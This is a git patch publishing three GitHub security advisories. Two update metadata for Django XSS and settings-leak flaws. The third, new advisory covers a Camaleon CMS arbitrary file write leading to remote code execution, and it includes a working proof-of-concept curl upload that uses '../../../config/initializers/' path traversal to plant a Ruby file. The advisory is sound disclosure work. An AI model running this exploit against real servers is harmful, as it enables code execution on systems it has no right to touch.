From 50bdf990b6faa82ead250bc177863b5f66e8db1f Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Wed, 18 Sep 2024 14:39:41 +0000 Subject: [PATCH] Publish Advisories GHSA-6565-fg86-6jcx GHSA-6wcr-wcqm-3mfh GHSA-wmjg-vqhv-q5p5 --- .../GHSA-6565-fg86-6jcx.json | 32 +++++++-- .../GHSA-6wcr-wcqm-3mfh.json | 23 +++++-- .../GHSA-wmjg-vqhv-q5p5.json | 65 +++++++++++++++++++ 3 files changed, 110 insertions(+), 10 deletions(-) create mode 100644 advisories/github-reviewed/2024/09/GHSA-wmjg-vqhv-q5p5/GHSA-wmjg-vqhv-q5p5.json diff --git a/advisories/github-reviewed/2022/05/GHSA-6565-fg86-6jcx/GHSA-6565-fg86-6jcx.json b/advisories/github-reviewed/2022/05/GHSA-6565-fg86-6jcx/GHSA-6565-fg86-6jcx.json index 4b88bcfa0e7..d7d9ae1ce6a 100644 --- a/advisories/github-reviewed/2022/05/GHSA-6565-fg86-6jcx/GHSA-6565-fg86-6jcx.json +++ b/advisories/github-reviewed/2022/05/GHSA-6565-fg86-6jcx/GHSA-6565-fg86-6jcx.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-6565-fg86-6jcx", - "modified": "2023-08-04T23:14:41Z", + "modified": "2024-09-18T14:38:33Z", "published": "2022-05-17T03:34:12Z", "aliases": [ "CVE-2015-2241" @@ -9,13 +9,25 @@ "summary": "Django Cross-site Scripting Vulnerability", "details": "Cross-site scripting (XSS) vulnerability in the contents function in `admin/helpers.py` in Django before 1.7.6 and 1.8 before 1.8b2 allows remote attackers to inject arbitrary web script or HTML via a model attribute in `ModelAdmin.readonly_fields`, as demonstrated by an `@property`.", "severity": [ - + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N" + } ], "affected": [ { "package": { "ecosystem": "PyPI", - "name": "django" + "name": "Django" + }, + "ecosystem_specific": { + "affected_functions": [ + "django.contrib.admin.helpers.AdminReadonlyField.contents" + ] }, "ranges": [ { @@ -34,7 +46,7 @@ { "package": { "ecosystem": "PyPI", - "name": "django" + "name": "Django" }, "ranges": [ { @@ -68,6 +80,14 @@ "type": "WEB", "url": "https://code.djangoproject.com/ticket/24461" }, + { + "type": "PACKAGE", + "url": "https://github.com/django/django" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2015-8.yaml" + }, { "type": "WEB", "url": "https://web.archive.org/web/20150523054951/http://www.mandriva.com/en/support/security/advisories/advisory/MDVSA-2015:109/?name=MDVSA-2015:109" @@ -79,6 +99,10 @@ { "type": "WEB", "url": "https://www.djangoproject.com/weblog/2015/mar/09/security-releases" + }, + { + "type": "WEB", + "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2015:109" } ], "database_specific": { diff --git a/advisories/github-reviewed/2022/05/GHSA-6wcr-wcqm-3mfh/GHSA-6wcr-wcqm-3mfh.json b/advisories/github-reviewed/2022/05/GHSA-6wcr-wcqm-3mfh/GHSA-6wcr-wcqm-3mfh.json index 2eccd9cd722..067ba95d051 100644 --- a/advisories/github-reviewed/2022/05/GHSA-6wcr-wcqm-3mfh/GHSA-6wcr-wcqm-3mfh.json +++ b/advisories/github-reviewed/2022/05/GHSA-6wcr-wcqm-3mfh/GHSA-6wcr-wcqm-3mfh.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-6wcr-wcqm-3mfh", - "modified": "2024-03-08T20:49:45Z", + "modified": "2024-09-18T14:37:17Z", "published": "2022-05-17T03:25:24Z", "aliases": [ "CVE-2015-8213" @@ -9,13 +9,20 @@ "summary": "Django settings leak in date template filter", "details": "The get_format function in `utils/formats.py` in Django before 1.7.x before 1.7.11, 1.8.x before 1.8.7, and 1.9.x before 1.9rc2 might allow remote attackers to obtain sensitive application secrets via a settings key in place of a date/time format setting, as demonstrated by `SECRET_KEY`.", "severity": [ - + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N" + } ], "affected": [ { "package": { "ecosystem": "PyPI", - "name": "django" + "name": "Django" }, "ranges": [ { @@ -34,14 +41,14 @@ { "package": { "ecosystem": "PyPI", - "name": "django" + "name": "Django" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { - "introduced": "1.8" + "introduced": "1.8a1" }, { "fixed": "1.8.7" @@ -53,7 +60,7 @@ { "package": { "ecosystem": "PyPI", - "name": "django" + "name": "Django" }, "ranges": [ { @@ -95,6 +102,10 @@ "type": "PACKAGE", "url": "https://github.com/django/django" }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2015-11.yaml" + }, { "type": "WEB", "url": "https://www.djangoproject.com/weblog/2015/nov/24/security-releases-issued" diff --git a/advisories/github-reviewed/2024/09/GHSA-wmjg-vqhv-q5p5/GHSA-wmjg-vqhv-q5p5.json b/advisories/github-reviewed/2024/09/GHSA-wmjg-vqhv-q5p5/GHSA-wmjg-vqhv-q5p5.json new file mode 100644 index 00000000000..f70af9fbfb3 --- /dev/null +++ b/advisories/github-reviewed/2024/09/GHSA-wmjg-vqhv-q5p5/GHSA-wmjg-vqhv-q5p5.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-wmjg-vqhv-q5p5", + "modified": "2024-09-18T14:39:03Z", + "published": "2024-09-18T14:39:03Z", + "aliases": [ + + ], + "summary": "Camaleon CMS affected by arbitrary file write to RCE (GHSL-2024-182)", + "details": "An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.\n\nOnce a user upload is started via the [upload](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87) method, the file_upload and the folder parameter\n```ruby\ndef upload(settings = {})\n params[:dimension] = nil if params[:skip_auto_crop].present?\n f = { error: 'File not found.' }\n if params[:file_upload].present?\n f = upload_file(params[:file_upload],\n { folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],\n thumb_size: params[:thumb_size] }.merge(settings))\n end\n [..]\nend\n```\nare passed to the [upload_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24) method. Inside that method the given settings are [merged](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42) with some presets. The file format is [checked against](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62) the formats settings we can override with the formats parameters.\n\n```ruby\n# formats validations\n return { error: \"#{ct('file_format_error')} (#{settings[:formats]})\" } unless cama_uploader.class.validate_file_format(\n uploaded_io.path, settings[:formats]\n )\n```\nOur given folder is then [passed unchecked](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74) to the Cama_uploader:\n\n```ruby\nkey = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash\nres = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })\n```\nIn the [add_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77) method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system:\n\n```ruby\ndef add_file(uploaded_io_or_file_path, key, args = {})\n [..]\n upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path\n File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }\n [..]\nend\n```\nProof of concept\nPrecondition: A valid account of a registered user is required. (The values for auth_token and _cms_session need to be replaced with authenticated values in the curl command below)\n\ncurl --path-as-is -i -s -k -X $'POST' \\\n -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: */*' -H $'Connection: keep-alive' \\\n -b $'auth_token=[..]; _cms_session=[..]' \\\n --data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\\x0d\\x0aContent-Disposition: form-data; name=\\\"file_upload\\\"; filename=\\\"test.rb\\\"\\x0d\\x0aContent-Type: text/x-ruby-script\\x0d\\x0a\\x0d\\x0aputs \\\"=================================\\\"\\x0aputs \\\"=================================\\\"\\x0aputs \\\"= COMPROMISED =\\\"\\x0aputs \\\"=================================\\\"\\x0aputs \\\"=================================\\\"\\x0d\\x0a------WebKitFormBoundary80dMC9jX3srWAsga\\x0d\\x0aContent-Disposition: form-data; name=\\\"folder\\\"\\x0d\\x0a\\x0d\\x0a../../../config/initializers/\\x0d\\x0a------WebKitFormBoundary80dMC9jX3srWAsga\\x0d\\x0aContent-Disposition: form-data; name=\\\"skip_auto_crop\\\"\\x0d\\x0a\\x0d\\x0atrue\\x0d\\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\\x0d\\x0a' \\\n $'https:///admin/media/upload?actions=false'\nNote that the upload form field formats was removed so that Camaleon CMS accepts any file. The folder was set to ../../../config/initializers/so that following Ruby script is written into the initializers folder of the Rails web app:\n\nputs \"=================================\"\nputs \"=================================\"\nputs \"= COMPROMISED =\"\nputs \"=================================\"\nputs \"=================================\"\nOnce Camaleon CMS is restarted following output will be visible in the log:\n\n=================================\n=================================\n= COMPROMISED =\n=================================\n=================================\nImpact\nThis issue may lead up to Remote Code Execution (RCE) via arbitrary file write.\n\nRemediation\nNormalize file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.\n\nSee also:\n\n[CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)\n[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "RubyGems", + "name": "camaleon_cms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.8.0" + }, + { + "fixed": "2.8.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-wmjg-vqhv-q5p5" + }, + { + "type": "WEB", + "url": "https://github.com/owen2345/camaleon-cms/commit/b3b12b1e4a9e3fccaf5bb4330820fa7f8744e6bd" + }, + { + "type": "PACKAGE", + "url": "https://github.com/owen2345/camaleon-cms" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-09-18T14:39:03Z", + "nvd_published_at": null + } +} \ No newline at end of file